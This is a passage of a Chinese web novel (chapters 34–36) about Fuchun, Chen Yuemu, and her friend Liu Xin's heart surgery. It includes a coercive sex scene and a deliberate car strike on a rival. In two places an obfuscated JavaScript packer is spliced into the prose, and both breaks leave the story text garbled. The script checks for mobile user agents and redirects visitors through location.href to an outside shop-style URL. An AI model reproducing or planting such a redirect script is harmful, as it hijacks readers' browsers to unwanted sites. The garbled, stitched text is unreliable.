福春收回思绪,等陈悦目睁眼,她咽了咽口水问:“做/爱吗?” 34. 利用 人很奇怪,得不到的时候千方百计,等到近在咫尺又开始斤斤计较。 理智告诉陈悦目这个时候什么都不要问,“你爱我吗?” 他偏偏要作死,在最快乐的时候问最扫兴的问题。 “我不知道。” 福春犹豫了很久,选择诚实回答。 一盆冷水浇下,两人明显都没了兴致。 只要不多问这一句事情就走向圆满大结局,没什么比两情相悦后亲密更快乐的事,可总有一根刺,在缠绵床褥的时候尖锐地扎进陈悦目心里。 他就是这么固执,渴望在灵魂相交的一刻听福春对他说我爱你。 “你不想跟我做吗?”福春捧着他的脸问。 “想。” 陈悦目亲亲她额头从床上坐起来,“我想要的不止这个。” 他把扣子给福春一颗颗系上,搂她入怀,“你说想等爱的人。” “我又不想等了。” “可是我想看看你到底爱谁。” “你有毛病啊!”福春费解,她都准备好大干一场,来的路上还压腿热了热身,结果陈悦目这个色鬼居然要跟她玩纯爱。 “你快点调整一下,我十二点之前要睡觉。”福春说着手又熟门熟路伸过去。 “别闹。” “谁闹了?陈悦目我要是跟别人,你就等着哭吧!” “是吗?”陈悦目自信满满,把福春压下去,在她唇上轻啄呢喃,“那就走着瞧。” 这一晚他们甜蜜又纯洁,在黑暗中伴着外面雨声躺在一起说话。 陈悦目说了很多,说自己小时候养的花草,说起它们的习性还说了很多有趣的事。福春也说,说她拿炮仗炸屎,说捉虫合蟆当青蛙王子也说虫合蟆养在被窝里让奶奶吊着打。 “我不敢再养小动物,很怕有一天会被我爸端上餐桌逼着我吃掉。” “真可怜。”福春仰起头亲亲他,“如果能养一个宠物你会养什么?” ”猫头鹰?“陈悦目想了想,“密涅瓦的猫头鹰。” “只在黄昏时起飞。” “是谁告诉你的?” “不是你说的吗?密涅瓦身旁的猫头鹰是思想和理性,用它在黄昏时起飞来比喻哲学。” 陈悦目手点点她的鼻尖,“在我之前也有人教过你吧?” 福春不吭声。 “到底什么时候才肯告诉我?” “告诉你什么?” “所有的事,关于你的一切。” “太贪心了。” “我还可以更贪心。”陈悦目抱紧她,交缠的躯体发出炙热包裹两人,福春感觉束缚又安全。 “我不是故意不说……”她欲言又止。 “算了,我会等到你主动告诉我的那天。” “这么自信?” 陈悦目贴在她唇上一字一句说:“嗯,迟早的事。” * 两人有滋有味过起小家生活。一个在外工作赚钱,另一个就在家打扫做饭。福春把家里收拾得井井有条,一切都不需要陈悦目操心,人回来就有香喷喷的饭菜等着。 包饺子、擀面条、炖红烧肉,每一道都让陈悦目胃口大开像村头三天没吃饭的狗。 福春晃了晃盛红烧肉的大盆,里面就剩了几块和一圈衬底的卤汁。 陈悦目连肉带汁盛了一勺浇在馒头上一口吃掉,然后伸手去够第三个馒头。 他头回体验到了家庭生活的乐趣。这种过家家让陈悦目乐此不疲,每天一睁眼,打从心底升起一股盼头和使也使不完的劲儿。 “慢点吃,没人跟你抢。” 福春见他这副饿死鬼投胎的架势打怵,足足三个巴掌大的馒头和半盆红烧肉吞下肚她都怕他撑死。 撑死不至于,就是陈悦目吃饱之后满满一身牛劲没处发泄,晚上睡觉像火焰山压在福春后背,屁股后更是坐条烙铁一样折磨。 “你这样我难受死了,跟上大刑一样。” “我去洗个澡。” “洗洗洗,洗秃噜皮也没用,都洗两回了。”福春把他扯回床上,“要不行就做吧,做完赶紧睡觉。” “那你爱我吗?”陈悦目问。 福春在这个问题上每一次都很想撒谎:“……肯定是喜欢的。” “我要等到你说爱我的那天。”陈悦目较真。 “不是,你等没问题。但是你要让我睡觉啊,谁家背后天天顶根棍能睡得好?!” 福春挣脱他怀抱卷着被子挪到床边,“别挨我,再顶着小心我给你薅下来。” 陈悦目才不管她,大虾一样把人抱在怀里又亲又闹腻歪一阵解了馋才老实睡觉。 * 刘芯的手术安排在半个月后,钱紧巴巴凑出五万。三姐妹背着她又在一起商量。 “得凑出六万。”阮晓柔说,“医生说至少五万,要多凑一些以防万一。” “是,后面还要吃药很容易超预算。”福春不语,花康宇继续说,“我跟晓柔再出一万。” “不行。”福春拒绝。 “这是我俩给大姐的心意,你凭什么拒绝?” “我跟大姐最亲,我就能替她拒绝。”她理不直气也壮。 “春儿,现在不是瞎客气的时候。小语要给姥姥看病这钱就不出了,我现在开店赚钱,家里还有老公养着,你总该让我尽点心意吧?” “你们烦不烦?一个要给老太太治病一个要养家养孩子。这点钱还要抢着凑出来瞧不起我是不是?我有钱,手术费我包圆了,谁也别抢!” 阮晓柔和花康宇还想再说被打断:“小熙。” 三人扭头,看见刘芯站在门口不知道听了多久。 ”姐,不是出去遛弯吗?“ ”早回来了。“刘芯朝福春招手,“你来,我有话跟你说。” 福春用脚指头想都知道刘芯想说什么,她这人就是胆小如鼠这也担心那也顾忌,指甲盖大点的事都能想的比造宇宙飞船还复杂。 “钱我早解决了,姐你别担心。” “我不想治了。” “你再这样说我生气了。” 刘芯坐在床边,耷拉脑袋两眼无神看着脚前不吱声。 福春问她:“你又在哪听了什么狗屁话,我告诉你你就自己憋着瞎想去吧,别说出来给我找不自在。到时我架也给你架到手术台上去,听到没有?” 刘芯给说急了也挺腰板端大姐架子,“嘶,现在怎么没大没小的?” “谁有钱谁是姐。” “我揍你个小兔崽子……” 她作势要打,手伸出被握住。让福春一转身坐到她身边,把头靠在她肩上,“你答应我好好治病。” “生死随缘。” “没到那份上,咱们不随缘。” “小熙,我没有牵挂了,看到你们过得幸福就很好,真的。” “那你再看看,我们还能过得更好。” “不了,我不想看了。”刘芯抹了把脸笑着说,“我想回去,姥姥还帮我养着鸡呢……” “你有空就回村看看我。” 福春望着那比哭还难看的笑,她想不明白世上的爱为什么挡不住生死别离,太让人绝望了。 “连你也要丢下我吗!” 外面两人听见动静进屋,花康宇和阮晓柔一人拉住一个劝架。 “有啥好吵,别跟她一般见识。” “有啥好吵,别跟她一般见识。” 刘芯满脸的泪,“都怪我,不会说话让小熙伤心了。” ”你装什么绿茶呢!“福春指着她跟那两人告状,“她说手术不做回乡下等死,搁谁谁不发火?” 姐妹四个什么德行互相都知根知底。花康宇拍拍刘芯肩膀宽慰:“你别觉得是拖累我们,人活一辈子互相拉扯一把才能一起走得更长远。” 刘芯失神看着前方喃喃问:“你们有没有想过我是真的看开了?” 阮晓柔扭头悄悄抹泪。 四人默默无言,最后福春擤干净鼻涕把纸撂下狠话:“反正手术台上一定要躺个人,你要不躺上去做搭桥我就上去让医生把我心掏出来给你当下酒菜!” 她说完摔门走人,把烂摊子丢给剩下两人收拾。 话说到这份上刘芯的手术不做也得做,这一点福春有绝对把握。唯一要愁的是钱,现在就差一点,姐四个里只有她一人吃饱全家不愁,没道理出钱出力的事不挑大梁。 福春走一半又绕去去菜市场买菜回家做饭。 愁归愁,饭还是要吃的。 “今天什么日子?” 陈悦目一回家就见大鱼大肉摆满全桌,灶台上还炖着参鸡汤,香味一直飘到玄关。 福春跑过去替他拿 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陈悦目一怔,眼睛倏地发亮,明显在期待。越是这样越是让福春难以开口,她望着他,微张的唇干涩发粘,话也如鲠在喉。 思虑半天福春还是躲开目光对着桌面一字一句道:“我想跟你借点钱。” 饭桌安静,过了会福春一瞟一瞟地试探抬起眼,陈悦目还在冲她笑,可是眼中暗下好几度。 “好啊,你要多少?” “一万。” 陈悦目继续动筷子把饭吃完。福春起身,从自己的背包里掏出一枚油绿玉佩放在陈悦目前面。 “说好是借,我把玉佩抵给你。” 丁是丁,卯是卯。该算清的要算清。从前稀里糊涂惹上一摊烂账,再不悬崖勒马就要把自己也搭进去了。 陈悦目抓筷子的手明显僵硬,等了一会他开口,声音里都带着颤:“不至于吧?才一万。” 参鸡汤融在空气里的味道渐渐苦涩。 “一万很多了,我一个月也挣不到。”福春解释,“玉我从小带到大,奶奶说是好玉,她不会骗我,真的。” 陈悦目盯着眼前那块染色翡翠,红绳细得发黑,福春没骗他可是玉真不值钱。 “你从卡里直接取了我也不会发现。” “我不想骗你。” “福春,菜里有虫挑出去就是了,没必要说出来恶心人。”他抬眸,眼底蓄了一线光,“你回来是为了借钱?” 对面缓缓垂下头。 陈悦目捂住脸,弓着身子摇摇欲倒。 “只是为了刘芯做手术的钱? “是不是…… “回答我!!” 福春沉默。 陈悦目放声大笑:“乡巴佬,那点钱当破烂扔了我也不在乎。” “我知道。” “你就成心恶心我。” 他站起来,一把将福春拖到床上,“钱你说怎么还!” 福春别开脸,“随便。” “你是不是贱?说啊!” “……” 陈悦目抓起领带扽开,真丝布料扭转摩擦,撕拉一声滑过皮肤将福春手腕紧紧束缚,“钱债肉偿,想还就在床上还我。” 她的衣服被掀开撕扯,连带拽扯她的皮肉,福春疼得呜咽一声又马上抿住嘴。她没反抗,从始至终一言不发放纵陈悦目为所欲为。 “说你爱我。”陈悦目钳住她下颌。 “我爱你。”声音荒腔走板,一个字一个字打进陈悦目心口,打得他的心泊泊冒血。 这样的我爱你有什么用?即使是这样的我爱你也会让陈悦目悸动。 他伏在福春身上,头埋在她肩窝一动不动。 一滴泪蹭到福春唇瓣,嘴里散开一股咸涩。 心被沉沉压着,每跳一下都像被钝石重重捶打,等到心脏不那么疼的时候陈悦目爬起来呆滞坐在床边。 “骗子。” 福春用嘴扯开领带,伸手想去触碰他,在指尖触到衣料时又缩回。 “对不起。”除了对不起她想不到该说什么。福春想去抱他,也真的伸手去抱了。她把他搂在怀里去听自己的心跳。陈悦目如行尸走肉:“钱我转给你,要多少我都给。” 他推开她,眼里决绝:“但是卡里的钱是这个家的钱,你一分也不准给刘芯。” 35. 留在我身边 福春望着陈悦目在自己曾经睡过的那条走道重新铺垫子躺进去。 他睡哪福春懒得管,她在意的是陈悦目认为自己骗了他。 “??????我是真心实意回来的!” “哦,是吗?那真是我的荣幸,寒舍蓬荜生辉。” 福春气不过,撅在床边扒拉他,“你给我上来!老娘给你看看诚意。” “招待不周,这里没有陪睡的项目。” 她拉不动就拽,拽不过就打。陈悦目浑身肌肉块子练得邦邦硬,福春锤两下捂手疼得龇牙咧嘴。 “给我上来!” “不上。” “我下去啦!” 大床上空荡荡,过道里天翻地覆。福春一下去就让陈悦目甩麻袋一样抡上床,往复几回陈悦目没喊累,她先昏头涨脑趴在床边干呕。 福春一边呕一边问:“你到底上不上?” 床下静悄悄。 “不上来是吧?” 没有回答。 “你等着!” 她爬到床头翻箱倒柜,过了一会床上传来嗡嗡震动。做到这种程度不是福春的极限,流氓是不讲下限的。 一声呻吟回荡室内:“啊……陈悦目你好棒,用力啊!” 陈悦目弹射坐起,黑暗中看着对面两眼喷火七窍生烟,福春已经把自个脱溜光在床上等他。不怕他看,就怕他不看,她伸手盛情邀约:“来嘛!” 陈悦目咬着牙,冷眼给了她一个字:“滚。” “好呀,我就滚你身上。” 福春一个狼扑狠狠勒陈悦目身上来了个各种意义上的裸/绞,仗着对方说不出话开始大放厥词:“咱俩之间有点误会,但是没关系,你跟我睡一觉保证你就明白了。陈老师这不是你最喜欢的吗?” 陈悦目差点被她勒死,浑身涨红硬是把她从身上掰下去,气还没喘匀福春又要扑上来。他手疾眼快抽床单将人撂倒然后卷大饼一样起来把福春裹住。 “放开我,你个怂蛋!” “臭东西,把你放出来再勒死我吗?咳咳……” 生命不止战斗不息,福春高声喊:“Iwanttosex! “Iwanttose唔唔——” 陈悦目捂住她的嘴,“再喊把你扔出去。” 两人竭力较量,福春一口咬上他手掌,咸味和铁锈味混在一起,刺痛杀进肉里。 福春紧咬不放,牙关发颤。 “你个疯子……” “你才是疯子。” 陈悦目的手早就松开,“再敢说你不爱我。”他低头吻下去。几个浅浅的试探身体像点着的干草堆烧遍荒野,灼热之中彼此成了唯一的救赎。 福春抬起下巴渴求,满腔溢出诉之不尽的情感在口舌间缠绕,颤栗滑过全身,鼻腔里全是陈悦目的味道,好像一场大火烧得酣痛淋漓。 平静下来,他们并排躺着。黑暗中窗外透进四四方方的光,福春声音喑哑:“我太害怕了。” 害怕什么?陈悦目没问。 她东一茬西一茬说起以前的事。 刘芯大她两岁,从小身体不好留了级刚好跟福春一个班。福春个子小坐在她们那组最前排,刘芯坐在最后。 那时她们刚升小学三年级,福春和班里同学天天干仗,每天打得灰头土脸。 ”他们看我不顺眼,我也看他们不顺眼。”福春和他们常常一个眼神不对互相就撸袖子开干。 那几个挑头排挤她的在班里放话谁敢跟她玩就连着一起打,最后班里同学没人敢靠近福春。 “那时我就一个人玩手指头。”福春笑笑。 刘芯是她在学校第一个朋友。当时欺负她的那帮人每天放学就追在她后面捡地上的垃圾扔她,有时是石块有时是空瓶。 “……矿泉水瓶扔我也就算了,他们还拿玻璃瓶子打,那玩意砸到脑袋上疼死了。”福春现在想起来,还会不自觉伸手挠头,手被陈悦目抓住握在掌心,他靠过去在她额头吻了吻想要补上迟来十几年的安慰。 在学校里有老师大家会收敛,一出学校福春就要赶紧跑回家,不然那帮人就拦住她围着打。 “后来有一天大姐带了只大狗来上学……” 刘芯的狗是人家选出来参加比赛用的,训练的时候脚受了点伤导致狗留下心理阴影无法再参赛,于是狗主人把它送给了朋友,几经辗转又到了刘芯家。 刘芯爷爷奶奶年纪大了不爱走动,就让狗陪着她每天上下学。上课的时候刘芯把它放传达室,下课再和它一起回家,路上有事也好有个照应。 福春说;“那只狗长得可凶,平时谁逗它它就吼谁。” 刘芯的狗成了福春的庇佑,每天一放学只要她走在刘芯身旁,那帮人就不敢再打她。 “如果石头砸到狗身上,它就会冲他们嗷嗷叫。” “然后你就和刘芯做朋友了?” “没有,我俩就是顺道走一段,她胆小,根本不敢和我说话。” “然后呢?”陈悦目语气温柔,耐心听她讲完接下来的事。 很长一段时间她和刘芯像是达成某种默契,两个人中间隔着一条狗。刘芯在前面走她在后面追,放学路上再也不用害怕被学校小混混打。福春也不再脏兮兮的了,有时还会带火腿肠喂给狗吃。她吃一口,狗吃一口。 “有一次我凉鞋坏了走不快,走到一半就跟她分开了。” 花凉鞋是她缠了奶奶很久才给买的,不修好她就没鞋穿。身后渐渐喧闹,福春知道是平时欺负她那帮人从学校出来。她把鞋脱了塞书包里,光脚一踮一踮走在碎石土路上。 一颗石头砸在她脚边,福春回头,看见他们远远朝她笑。她努力地跑,笑声一直追在她后边。 “不要再打我啦!”福春嘶声大喊。 喊完她忍着痛跑过一个弯,看见刘芯和狗正站在那等她。 “我还以为她跑了呢,谁愿意惹上个麻烦天天被追着打,没想到那天她愿意留下来等我。”福春说着把胳膊盖眼睛上,喃喃自语,“奶奶说因为我是捡来的才挨欺负,没妈的孩子像根草。我也不想没爸没妈啊,我能怎么办?” 恃强凌弱是深深嵌在万物基因里的本性。 “世上至少还有她们不嫌弃我。”福春既是不幸的也是幸运的,有刘芯几个姐妹她依然在爱和快乐中自由长大。 “我也不会嫌弃你。” 她的手被握住十指相扣,福春转头,看着陈悦目,“如果早点遇到你就好了。” 她问:“你试过和爱的人分开吗?”福春把手指抵在他心口,“离别太可怕了,钻心疼。” 当死神的镰刀硬生生割断她与至亲至爱时那种剜心剔骨的疼会在午夜梦回将她一遍遍凌迟。 陈悦目搂着她,“我不知道,在你之前我没有爱过人,也没有人爱过我。” “你会有的。” “那个人不是你,对吗?”陈悦目自嘲。他的双臂感受到福春的脆弱,发丝散落在他的臂弯,呼吸温热他的胸膛。他微微仰起头,张开自己容纳她,一如福春对他那般。 我们天生有爱,可没有人天生会爱。 人在阳光之下凭着一腔野蛮和热血沸腾跌跌撞撞学会爱。 “至少让我留在你身边。” “对你不公平啊。” “不需要公平。”这个世界从来不讲公平。 “让我爱你就好。”陈悦目说。 * 刘芯的手术被推迟,检查过程中发现了新情况,原来的手术方案已经不适用,新方案只能由另一位正在外地的医生操刀。 福春趁这个时间去报名学车,因为刘芯说想四姐妹再去一次海边。 以前四个人穷的叮当响时是一路推着刘芯的轮椅走过去的,这次福春决定开车带着她们在沿海公路边兜风。 老天爷保佑,从科目一到科目四她居然一个多月通过。按陈悦目的说法,肯定是她大脑空空所以才有很多空余位置放新知识。 福春不服气:“我就是聪明,我最聪明!”她打算过一阵在市里开熟练了就拿陈悦目闲着的那辆大奔跑滴滴。 考试通过不代表就能上路,休息日艾琳娜说想福春了,陈悦目便带着她回家顺便在院里找个地方给她练车。 “学会看后视镜。”陈悦目教她倒车。 福春直接伸手把车载显示器打开。 “显示器坏了怎么办?你就不倒车了?”他又把屏幕关上。 “坏了再说。”福春耍赖,“大不了就推进去。” “不行,必须学会看后视镜,你超车也要学会看后视镜。” 福春虽然讨厌陈悦目说教但不得不同意他的话是对的。 “往后倒,倒,再倒……” “还倒?差不多了吧?” 陈悦目伸头往后瞧。他们在小区草地旁边的小路上练习,平时来这的多是为了遛狗,现在是正午吃饭时间根本不会有人。 有的只是畜生。 “倒,继续倒,踩油门!”陈悦目盯着背对坐在长椅上打电话的身影说,“福春我不喊停不许停。” “陈悦目你靠不靠谱啊?”福春刚问完就咣一声撞上长椅,椅子上的人直接被震飞出去,她吓得尖叫。 “人没死你瞎叫什么?”陈悦目开门下车抱着双手歪脑袋看戏,笑得那叫一个贱。 夏良协人都傻了,趴地上捂住腿直冒冷汗:“不是,你真撞啊!” “陈悦目你个混蛋,我才刚拿驾照啊!”福春下车大吼,一扭脸见夏良协坐在地上。 她叹口气,喜忧参半。喜的是撞的是熟人不用担心驾照吊销可以私了,忧的是撞的是个大麻烦不知道这件事要怎么私了。 “我送你去医院。”她走过去将人扶起。陈悦目垮着脸跟上去,嘴里不忘叨叨:“就碰了一下顶多擦破点皮。” 夏良协很应景地嗷一声叫出来。 “你看,把人撞瘸了。” “你傻不傻,他装呢!”陈悦目一脚踹上那只受伤的腿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘芯打趣道:“姐请你吃海底捞呀?” “行啊!”福春看了眼时间,“现在去人多,我现在手机上排队,等过一会再走。”她说完瞧一眼电梯口,张望的神态被刘芯敏锐察觉,刘芯笑笑地问道:“还谁跟你一起过来的?陈悦目?” 福春回头讪笑:“哎,跟他一起练车结果害我把人撞了。”她赶紧又解释,“没事,撞的人你也认识,就是那个夏良协,陈悦目正带他看腿呢!” 刘芯哦了一声,不再关心。 福春抓起她的手搓了搓放在自己大腿上,“我拿到驾照了,手术之前带你去看海,只有我们四个。” 刘芯扭头,满眼期待,目光也变得深远好像眺望海边。 “去年生日我一个人在家,我就在许愿希望我们四个一起去看海。”和福春在一起之后她人生有很多快乐的时光,不知道为什么回想起时就总是记得海边这次。可能是耳边的海风听起来像心跳,那次她在伞下打盹,躺在福春怀里睡了好久。 “我有点累。”她闭眼靠在福春身上。 陈悦目陪着夏良协拍完片子从ct室出来。骨头倒是没断,就是有严重的软组织挫伤,保险起见医生还是给做了全套检查,毕竟职责在那无论圣人还是人渣都要一视同仁。 出诊室时护士贴心给了辆轮椅,夏良协坐轮椅上问人家口红色号是哪个。 “想买给老妈做生日礼物,去年买的爱马仕包包她嫌弃颜色不好看,加个微信好吗?” 陈悦目不等回答直接把人推走,夏良协要睡谁他不管,陈悦目纯粹不想让他得逞。 “撩个小妹妹你都拦着,怎么,你希望我去找福春吗?可以啊,你有这癖好我也乐意配合。” 陈悦目走一半突然退回去抬起轮椅把人往楼梯下倒。 “唉哎哎——” 两人又差点在医院打起来。 夏良协在他这吃了几次大亏也不忍了,两只手捣腾着努力推轮椅追在后面骂陈悦目。 “要不是看在你爸的面子上我他妈早就弄死你了。 “个狗逼玩意儿,福春不知道你以前多丢人吧?要不要我告诉她? “陈悦目,你连个乡下妹都摆不平还不如让给我,你就是个废物点心!” 陈悦目要去找福春,一脚蹬开身后身后追着他的死王八,双手插在西装裤兜居高临下回应:“你先站起来再跟我说话。” 他看着夏良协又要跟上来,警告:“敢跟过来我就带着福春去找你老丈人喝茶。” 陈悦目说完穿过连廊,福春正坐在抽血室外面。两人隔着十来米,他忽然止步在那看着。 这种感觉陌生又熟悉。陈悦目第一次从这样一个角度看见自己和福春在一起的样子,就像照镜子似的,他不知该作何反应。 福春还在发呆,视线却被她怀里的人敏锐察觉,刘芯倏然睁眼,那眼神和陈悦目一模一样。 36. 人人都爱汤春福 刘芯是个早产儿,生下来就在保温箱里住了三个月,从小心脏就不好,吃药休息了两年才继续上学。 爷爷奶奶一直告诉她想活命就少哭,少笑,也不要跟人出去玩。刘芯就像块没知觉的石头总是一个人静静坐在门口从日出呆到日落。 这样的日子是图什么呢? 刘芯望着院里吃石头的鸡。 10岁那年她和福春分到一个班。上学第一天同学就兴奋地告诉她福春是从垃圾堆捡的。 那时福春个子比别人矮一截,每天扎个一高一低的小辫邋里邋遢上学。女孩嫌她脏不愿意带她玩,男孩天天追在后面骂她。有时她跟人对骂,骂不过就蹲在旗杆下哭,然后被老师拎着回教室上课。 刘芯刚来和谁都不熟,总是坐在自己位子上看着周围欢声笑语。 她时常和福春隔着一道道课桌椅,一前一后遥遥相视,然后每一次在福春想要靠上来时就收回视线趴在桌上假装睡觉。 小孩其实很势利眼,别人看不上的东西自己也绝对不要。虽然都是没朋友,但她和福春不一样。她是不熟,不是讨人嫌。 再抬头,福春已经像只瘪掉的气球耷拉在桌上。 人活着图什么呢?没朋友,没意思。 * 咕—— 福春肚子叫了一声。 “小熙饿了吧?”刘芯从她身上起来,亲密地挽住她胳膊,另一只手捞过福春脸颊靠向自己然后亲了一口,“走,去吃饭。” 话是对福春说的,眼睛却看向几米之外。福春转头,陈悦目慢慢走上来。 “你来啦?”她扫一眼周围见夏良协没在也没追问,“去吃饭吧?” “好啊,带你去海港街吃希腊菜。”陈悦目站在福春身边摸摸她脑袋,手自然搂住她脖子往自己身边带。 他站直身体俯视刘芯问她:”以前没吃过吧?” 言行之low,让福春都“为之侧目”。 刘芯抬起头微笑回答:“刚和小熙说好了去吃海底捞。” “高科技勾兑的东西别上赶着往嘴里送了,吃些好的吧。” “最好的菜都是拿大粪浇出来的,去吃吧!”福春一巴掌推开陈悦目,“我说你瞎嘚瑟什么?” “我在你眼里不就这点价值?”陈悦目压下情绪,“福春,我无所谓你把我当什么,都是我心甘情愿。” 福春有点闹不明白他耍的是哪出。陈悦目那死脾气抽冷子上来能把人气死,她现在一堆事也懒得去哄他。 反而是刘芯见气氛不对在旁好言相劝:“他对我说这话肯定不是故意的。” 福春更生气了。 “他就是故意的。” 陈悦目恶狠狠瞪着刘芯,“真看不出来,你也不是省油的灯。” 福春给他一脚,“陈悦目你够了啊,我现在没空管你听到没有?我和大姐要去吃海底捞,敢跟过来我打死你。”她说完拉起刘芯就走,走的时候刘芯还回头看他一眼笑了笑,根本不掩饰炫耀得意。 陈悦目现在回想起来和福春的几次争执这人都在场,煽风点火的本事简直登峰造极,让他掉坑里还毫无察觉。 “傻子!分不清好赖。”陈悦目在原地咬牙咒骂。 福春永远傻兮兮的。 * 刘芯养了条狗,是一条灵缇犬。城市里养大型犬不方便,父母便把狗送到了乡下给刘芯解闷。 养狗之后刘芯天天带着它上下学。福春也是那时突然跟她变亲近。 小学那段时间学校里有一群男的经常欺负福春,每天放学路上捡地上东西砸她。福春被打怕了就想找个地方躲,一来二去发现躲在刘芯的狗身边他们不敢靠上来。 灵缇天生亲人不会乱叫,但这只灵缇犬由于受伤的缘故性格极为敏感,察觉到一点敌意就会狂吠不止。有时他们把石子误砸在刘芯身边,刘芯就把狗绳暗暗松开些,大狗立刻冲后面嗷嗷狂叫把那群臭小子吓跑。 “亚瑟!”她假模假样喝住,扯扯狗绳又转身继续向前。 福春总是凑上来挨在亚瑟身边摸它。她不敢跟刘芯说话就一个劲摸狗,“大狗真乖,真漂亮……” 亚瑟很享受地哼唧着让福春多摸它。 从此以后每天放学福春就跟在自己屁股后头。两人隔着一段距离,像恰巧走同一条路回家。 刘芯不想和福春太亲近,这点福春自己也清楚。她从不主动跟刘芯搭话,有时就是摸摸亚瑟喂它吃点东西,然后就离得远远的。只有在那群男生朝她扔东西的时候她才会靠近躲在亚瑟身边。 那天是亚瑟突然停在半道上。 福春走到半路停下来。刘芯知道她鞋坏了,早上来学校的时候她就看见福春的鞋带松松垮垮的。她不想多管闲事,做多了她也要被人找麻烦。家里为了她治病已经很费心,刘芯要做个乖小孩不让家里人操心。 “亚瑟,走吧。” 亚瑟一动不动,刘芯知道它在等福春。畜生比人纯粹,走得近些便掏心掏肺。她没力气拖它,只能跟着一起站在半道傻傻等人。 最后福春光脚跑过来的时候一头扎进她怀里。亚瑟叫着把那群小流氓赶跑,福春哭得稀里哗啦,把眼泪鼻涕全蹭她身上。 刘芯吓了一跳,心好像被捏了一下,扑通扑通的,活着的感觉头一次那么清晰。她明明想推开福春,手却轻轻拍着她的后背。 活着图什么?刘芯问自己。 * “姐,你吃油碟还是吃麻酱?”福春端来三碗蘸料放桌上,擦擦手给了陈悦目一个白眼。 福春把他叫到一边警告不准再犯浑,陈悦目低眉顺眼答应,等福春去拿水果后扭脸便对刘芯发难:“真看不出来,我说怎么每次你在场我就跟福春吵架。挑拨是非的功夫炉火纯青,小瞧你了。” 刘芯虽然读书一般但是小时候没少跟老人念佛经听道理,早早体会生命的脆弱让她有着远超同龄人的豁达与通透。没有平日里那副温吞窝囊的模样,陈悦目夹枪带棒的攻击被她转瞬绵里藏针原路奉还给对方。 “你跟小熙吵架是你们之间有问题,感情要是牢固怎么会经不起三言两语挑拨?” 什么叫人不可貌相陈悦目算是领教了,居然被这个蔫了吧唧的赖瓜耍了好几次。陈悦目没想到有一天自己竟然要和一个女人争风吃醋。 他阴恻恻放狠话:“你承认你在挑拨是非了?劝你趁早掐灭那点妄想,治完病就赶紧回乡下等死,少围在福春身边碍眼,上不了台面。” 刘芯不禁莞尔,靠在椅背上语气悠哉:“我当文化人多有涵养呢,原来着急了也一样拿嘴放屁。” 陈悦目面色铁青,戳心戳肺回击:“比不上你卑鄙,惺惺作态让福春给你挣手术钱,大姐当的可真好意思。” 这事戳到刘芯心窝子上,她顿时面色阴沉:“我不要她这样做。” “马后炮。” “我没有!” 两人坐那剑拔弩张,等福春端着水果回来刘芯立刻在那抹泪。用脚想都知道是谁干的缺德事。 福春发火骂刘芯:“你有病啊出来吃顿饭也哭。……为什么哭!不说实话我再也不理你了。” 陈悦目明白对方指桑骂槐,冷脸道:“福春你想骂我就直接骂,少在那拐弯抹角。” 福春转头眼神忿忿:“绿茶屌。” 陈悦目黑脸,为了不徒担虚名,他索性不客气地“绿茶”一回,“她自己坐那哭也赖我吗?” “好好一个人无缘无故坐那哭?!” “嗯。” “你见哪个正常人好好的就哭了?” “神经病呗。” “陈悦目别逼我给你两个嘴巴子!” “福春你就仗着我……” 刘芯不想再纠缠这事,眼泪一擦哽咽着圆场:“没事,是我自己爱哭,就是快做手术了有点感慨。” “真的?” “真的。” 福春火气上头,即便刘芯不计较她也不想放过陈悦目,心里就是莫名有股火想冲他撒。 “讨厌死了你。”她说着又上手拧陈悦目耳朵,“吃个饭也不安生,专找晦气。” 对面被揍没吱声,脸红彤彤的倔模样一时间又让福春看得心软,她收了手找个由头把陈悦目打发走:“去拿碗糖水!” 陈悦目看她一眼,默默起身走去调料台。 福春坐在位子上不自觉盯着他背影看。刘芯将福春的神态全看在眼里,她慢吞吞起身说:“我去上个厕所。” 等走了好一会,福春才反应过来对着空气说了声好。 * 陈悦目没去他们座位附近的调料台盛东西,离开座位后他去了趟洗手间看见附近调料台没人就干脆在这给福春舀糖水。 刘芯拿个盘子静悄悄来到陈悦目身旁,“我没想过和小熙成为朋友之外的关系。” “特意找过来就是为了解释这个?”陈悦目眼神不屑。 刘芯在旁边慢吞吞够起夹子装小菜,“小熙很喜欢吃这个鱼皮的。”她装好又去挑旁边小菜里的毛豆,仔仔细细盛了一个小堆。 “多盛点啊,你也就为她做这些了。福春上大街要饭你就给她弄个碗。” 陈悦目的冷嘲热讽没有激怒刘芯,听他这样说她反而气定神闲:“我也希望能为她多做点,但是没有时间了。” 她仰头看着陈悦目:“其实我挺能理解你的,爱得再深也占不到她心里一个角。” 陈悦目停下动作,咣地把碗放在台面,声音冰冷:“别逼我在这翻脸。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544160|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你要像对付晓柔前夫那样整我吗?不用,我就快死了。”刘芯很平静,平静得透出一丝苍凉,“我们都比不过一个死人,如果我死了会不会和那人一样在小熙心里无可取代?” 福春心里有别人陈悦目知道,这已经是横在他和福春之间的一道坎。关于那个人的事福春从来不说,陈悦目连自己的敌人是圆是扁都无从得知。 “他死了?” “嗯,好几年前就死了。”刘芯把盛满小菜的盘子递过去,“两年前的四月十四日早上,我们村附近那条沿海公路发生过一起车祸,死的那人就是凶手,是不是很凑巧?” “你想说什么?” 刘芯的回答耐人寻味:“都是因果报应。” 背景乐曲忽然跳帧,欢乐的歌声在重复中逐渐诡异。人群嘈杂在耳边渐渐模糊疏远,刘芯不知道什么时候走的,留陈悦目一个人站在那久久不能回神。 * “我和大姐还有事。” 等陈悦目回到座位发现她们已经买单走人,福春只匆匆发了个微信告诉他。 陈悦目有很多事想问,想问刘芯为什么在这时告诉他这些,又为什么不把话说全。刘芯在暗示他什么? 